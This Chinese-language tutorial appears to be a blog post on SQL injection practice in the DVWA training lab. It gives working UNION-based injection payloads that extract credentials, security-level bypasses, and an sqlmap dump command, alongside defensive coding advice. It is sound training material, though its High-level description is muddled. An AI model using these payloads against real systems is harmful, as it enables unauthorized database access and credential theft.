DVWA在线靶场实战：如何利用默认账号密码进行SQL注入测试
DVWA靶场实战：从SQL注入入门到漏洞深度利用
引言
在网络安全领域，理论知识的掌握固然重要，但真正的技能提升往往来自于实战演练。DVWA（Damn Vulnerable Web Application）作为一个专门设计用于安全测试的脆弱Web应用，为学习者提供了绝佳的实践平台。不同于生产环境中的真实系统，DVWA允许我们在合法合规的前提下，尽情尝试各种攻击技术而无需担心法律风险。
对于初学者而言，DVWA最吸引人的特点之一就是其预设的默认凭证——admin/password，这让我们能够快速进入系统，专注于漏洞利用技术本身的学习。SQL注入作为OWASP Top 10长期占据榜首的Web安全威胁，在DVWA中有着直观的体现。通过这个靶场，我们不仅能够理解SQL注入的基本原理，更能通过实际操作感受防御措施的差异。
1. DVWA环境准备与基础配置
1.1 访问与登录DVWA靶场
DVWA通常以两种形式提供：在线即时可用的版本和需要本地部署的版本。对于初学者，推荐使用在线版本快速开始：
- 打开浏览器访问DVWA在线平台（如：https://dvwa.exp-9.com）
- 在登录页面输入默认凭证：
- 用户名：
admin - 密码：
password
- 用户名：
- 首次登录可能需要点击"Create/Reset Database"按钮初始化环境
注意：某些在线版本可能修改了默认凭证，若无法登录可尝试查看平台提供的文档或联系管理员
1.2 安全等级设置
DVWA提供了四种安全级别，模拟不同强度的防御措施：
| 安全级别 | 描述 | 适合人群 |
|---|---|---|
| Low | 无任何防护措施 | 完全初学者 |
| Medium | 基础防护，存在明显漏洞 | 有一定基础的学习者 |
| High | 较强防护，需要绕过技巧 | 进阶学习者 |
| Impossible | 几乎无法攻破 | 研究防御措施 |
建议从Low级别开始，逐步提高难度：
// 修改安全级别的代码示例（后台逻辑） if(isset($_POST['security'])){ $_SESSION['security'] = $_POST['security']; }1.3 必要工具准备
进行SQL注入测试前，建议准备以下工具：
- 浏览器开发者工具：查看请求响应、调试前端代码
- Burp Suite Community：拦截和修改HTTP请求
- SQLmap：自动化SQL注入工具（进阶使用）
- 文本编辑器：记录测试过程和结果
2. SQL注入原理与DVWA实现
2.1 SQL注入核心机制
SQL注入的本质是通过构造特殊输入，改变原有SQL查询的逻辑结构。在DVWA的SQL注入模块中，典型的漏洞代码如下：
$id = $_GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";当输入1' OR '1'='1时，查询变为：
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'这将返回users表中的所有记录，因为'1'='1'永远为真。
2.2 DVWA中的注入点探测
在DVWA的SQL Injection模块中，按照以下步骤识别注入点：
- 输入数字1，观察正常响应
- 尝试输入
1'，查看是否报错 - 测试逻辑运算：
1' AND 1=1 --和1' AND 1=2 -- - 确认注入类型：字符型还是数字型
常见报错信息分析：
You have an error in your SQL syntax：通常表明存在注入漏洞MySQL server version for the right syntax：泄露数据库类型和版本Warning: mysql_fetch_array()：PHP特定错误，提示查询问题
2.3 手工注入实战步骤
以DVWA Low级别为例，完整的手工注入流程：
确定字段数：
1' ORDER BY 1 -- 1' ORDER BY 2 -- ... 直到报错，确定最大成功数字确认回显位置：
1' UNION SELECT 1,2 --提取数据库信息：
1' UNION SELECT database(),version() --获取表名：
1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database() --提取列名：
1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users' --获取敏感数据：
1' UNION SELECT user,password FROM users --
3. 不同安全级别的绕过技巧
3.1 Medium级别挑战
Medium级别增加了基本的过滤：
$id = mysql_real_escape_string($_GET['id']);绕过方法：
- 使用数字型注入，避免引号：
1 OR 1=1 - 利用HTTP POST请求代替GET
Burp Suite拦截修改示例：
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 ... id=1+OR+1%3D1&Submit=Submit3.2 High级别挑战
High级别使用了预处理语句，但存在二次注入可能：
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->execute([$id]);特殊场景下的绕过：
- 利用Cookie注入
- 通过其他模块的存储型漏洞组合攻击
3.3 自动化工具SQLmap的使用
对于重复性测试，可以使用SQLmap提高效率：
sqlmap -u "http://dvwa.exp-9.com/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --batch常用参数：
--dbs：枚举数据库-D dvwa --tables：指定数据库枚举表-D dvwa -T users --dump：导出表数据
4. 防御措施与实战建议
4.1 从攻击角度看防御
通过DVWA的Impossible级别，可以学习最佳防御实践：
- 预处理语句：
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->execute([$id]);- 最小权限原则：
- 为Web应用创建专用数据库用户
- 只授予必要权限
- 输入验证：
if(!is_numeric($id)){ die("Invalid input"); }4.2 实战中的注意事项
- 始终在授权环境下进行测试
- 避免对在线DVWA平台进行暴力扫描
- 测试前备份重要数据
- 记录每一步操作和结果
推荐测试流程：
- 信息收集 → 2. 漏洞探测 → 3. 漏洞验证 → 4. 结果记录 → 5. 环境恢复
4.3 从DVWA到真实世界
DVWA与真实环境的差异：
- 真实系统通常有WAF防护
- 错误信息往往被隐藏
- 需要更多间接推断技巧
- 需要考虑时间延迟等盲注技术
进阶学习路径：
- 掌握基础注入 → 2. 学习盲注技术 → 3. 研究WAF绕过 → 4. 理解ORM注入 → 5. 探索NoSQL注入